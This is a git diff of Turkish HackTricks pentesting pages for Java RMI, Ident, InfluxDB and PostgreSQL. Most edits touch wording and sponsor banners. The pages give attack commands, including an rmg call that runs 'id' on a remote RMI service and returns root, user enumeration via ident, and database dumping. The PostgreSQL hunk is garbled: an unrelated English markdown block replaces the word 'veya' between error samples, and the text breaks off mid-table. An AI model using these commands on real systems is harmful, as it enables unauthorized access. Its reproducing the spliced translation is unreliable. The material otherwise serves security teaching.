sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisine_ iletişim kurmanın bir yolu yoktur. +_Java RMI_'ın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuş ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak oldukça kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur. ## RMI Numaralandırma @@ -143,7 +143,7 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` -Enumeration eyleminin çıktısı projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı bir şekilde açıklanmaktadır. Sonuca bağlı olarak, tanımlanan zafiyetleri doğrulamaya çalışmalısınız. +Enumeration eyleminin çıktısı projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak tanımlanan zafiyetleri doğrulamaya çalışmalısınız. _remote-method-guesser_ tarafından gösterilen `ObjID` değerleri hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetleri tanımlamaya olanak tanır: ``` @@ -158,9 +158,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' ``` ## Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme -Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere deserializasyon filtreleri ile korunsa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. _RMI_ hizmetlerinde geçerli metod imzalarını bilmek bu nedenle değerlidir. +Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere karşı serileştirme filtreleri ile korunsa da, özel _RMI_ hizmetleriyle iletişim kurulurken bu tür filtreler genellikle mevcut değildir. _RMI_ hizmetlerinde geçerli metod imzalarını bilmek bu nedenle değerlidir. -Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür: +Ne yazık ki, _Java RMI_ _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür: ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt @@ -190,7 +190,7 @@ $ rmg guess 172.17.0.2 9010 [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` -Belirlenen yöntemler şu şekilde çağrılabilir: +Tanımlanan yöntemler şu şekilde çağrılabilir: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) @@ -220,12 +220,12 @@ uid=0(root) gid=0(root) groups=0(root) ``` Aşağıdaki makalelerde daha fazla bilgi bulunabilir: -* [JEP 290'dan Sonra Java RMI Servislerine Saldırı](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) +* [JEP 290'dan Sonra Java RMI Servislerine Saldırma](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) * [Metod Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) -Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada faydalı olabilir. +Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada yardımcı olabilir. ## Bilinen Arayüzler @@ -316,21 +316,21 @@ Command: rmg enum {IP} {PORT}
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index 36db2e03c..a13c2f90a 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -2,28 +2,28 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştirmeyi** kolayca sağlayın.\ +[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} ## Temel Bilgiler -**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenliğe** yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için port 113'te bir istekte bulunmasına izin vererek çalışır. +**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için bir istemciyi 113 numaralı porta sorgulamasına izin vererek çalışır. Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir. @@ -34,9 +34,9 @@ PORT STATE SERVICE ``` ## **Sıralama** -### **Manuel - Kullanıcıyı Al/ Hizmeti Tanımla** +### **Manuel - Kullanıcıyı Al/Servisi Tanımla** -Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portunu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz: +Bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 numaralı portu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz: ![](<../.gitbook/assets/image (843).png>) @@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION ``` ### Ident-user-enum -[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), her TCP bağlantı noktasında dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir. +[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), hedef sistemdeki her TCP portunu dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir. ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -87,10 +87,10 @@ identd.conf
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\ Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} ## HackTricks Otomatik Komutları ``` @@ -117,10 +117,10 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] (https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)**.** +* **Hacking püf noktalarınızı paylaşın, PR'ler göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md index f7a85422f..fa519f5c0 100644 --- a/network-services-pentesting/8086-pentesting-influxdb.md +++ b/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,23 +1,23 @@ -# 8086 - Pentesting InfluxDB +# 8086 - InfluxDB Pentesting
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -33,7 +33,7 @@ PORT STATE SERVICE VERSION ``` ## Sıralama -Bir pentester açısından, bu hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir. +Bir pentester açısından bu hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir. ### Kimlik Doğrulama @@ -43,7 +43,7 @@ InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir influx -host 'host name' -port 'port #' > use _internal ``` -Eğer şöyle bir hata alırsanız: `ERR: kimlik doğrulama kimlik bilgilerini ayrıştıramıyor`, bu demek oluyor ki **bazı kimlik bilgileri bekliyor**. +Eğer bu şekilde bir hata alırsanız: `ERR: kimlik doğrulama kimlik bilgilerini ayrıştıramıyor` demek ki **bazı kimlik bilgilerini bekliyor**. ``` influx –username influx –password influx_pass ``` @@ -66,7 +66,7 @@ _internal ``` #### Tablolar/Ölçümler Göster -[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** isimlendirmesi, ilgili içeriğe işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır. +[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** adlandırması, ilgili içeriğe işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır. ```bash > show measurements name: measurements @@ -106,7 +106,7 @@ inodes_used integer ``` #### Tabloyu Dök -Ve son olarak tabloyu dökmeniz gerekebilir, bunu şu şekilde yapabilirsiniz: +Ve son olarak tabloyu dökmeniz gerekebilir, bunun için şunu yapabilirsiniz: ```bash select * from cpu name: cpu @@ -116,23 +116,23 @@ time cpu host usage_guest usage_guest_nice usage_idle 1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101 ``` {% hint style="warning" %} -Kimlik doğrulama atlatma testlerinde bazı testlerde tablo adının çift tırnaklar arasında olması gerektiği belirlendi: `select * from "cpu"` +Kimlik doğrulaması atlatma testlerinde bazı testlerde tablo adının çift tırnaklar arasında olması gerektiği belirlendi: `select * from "cpu"` {% endhint %} -### Otomatik Kimlik Doğrulama +### Otomatik Kimlik Doğrulaması ```bash msf6 > use auxiliary/scanner/http/influxdb_enum ```
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -140,7 +140,7 @@ HackTricks'ı desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md index c2d16a250..68f0ee530 100644 --- a/network-services-pentesting/pentesting-postgresql.md +++ b/network-services-pentesting/pentesting-postgresql.md @@ -3,10 +3,10 @@
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
@@ -14,17 +14,17 @@ Bugün Erişim Alın: HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## **Temel Bilgiler** -**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar. +**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem sadece SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar. **Varsayılan port:** 5432 ve bu port zaten kullanımda ise postgresql muhtemelen kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacaktır. ``` @@ -72,10 +72,10 @@ SELECT * FROM pg_extension; \s ``` {% hint style="warning" %} -Eğer **`\list`** komutunu çalıştırarak bir **`rdsadmin`** adında bir veritabanı bulursanız, içinde bir **AWS postgresql veritabanı** olduğunu bilirsiniz. +Eğer **`\list`** komutunu çalıştırırken **`rdsadmin`** adında bir veritabanı bulursanız, içinde bir **AWS postgresql veritabanı** olduğunu bilirsiniz. {% endhint %} -Daha fazla bilgi için **bir PostgreSQL veritabanını nasıl kötüye kullanabileceğiniz** konusunda kontrol edin: +Daha fazla bilgi için **PostgreSQL veritabanını kötüye kullanma** hakkında kontrol edin: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) @@ -99,9 +99,9 @@ password=secret dbname=abc connect_timeout=10'); ``` -* Ana bilgisayar kapalı +* Sunucu kapalı -```DETAIL: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok. Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı TCP/IP bağlantılarını kabul ediyor mu?``` +```DETAIL: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı bağlantıları kabul ediyor mu?``` * Port kapalı ``` @@ -113,31 +113,40 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` -veya +```markdown +### PostgreSQL Pentesting +#### PostgreSQL Pentesting Tools +PostgreSQL pentesting can be done using various tools such as: +- **Metasploit Framework**: Contains PostgreSQL modules for pentesting. +- **pgcli**: A command-line interface for PostgreSQL that can be used for testing. +- **sqlmap**: A popular tool for SQL injection testing that can be used against PostgreSQL databases. +- **Nmap**: Can be used to discover PostgreSQL services running on a network. +- **PostgreSQL Auditing Tools**: Tools like pgAudit can be used for auditing PostgreSQL databases for security vulnerabilities. +``` ``` DETAIL: FATAL: password authentication failed for user "name" ``` -* Port açık veya filtrelenmiş +* Port açık veya filtrelenmişdir ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -## Yetkilendirme Sıralaması +## Yetkilerin Sıralanması ### Roller | Rol Türleri | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir | -| rolinherit | Rol, üye olduğu rollerin ayrıcalıklarını otomatik olarak devralır | -| rolcreaterole | Rol, 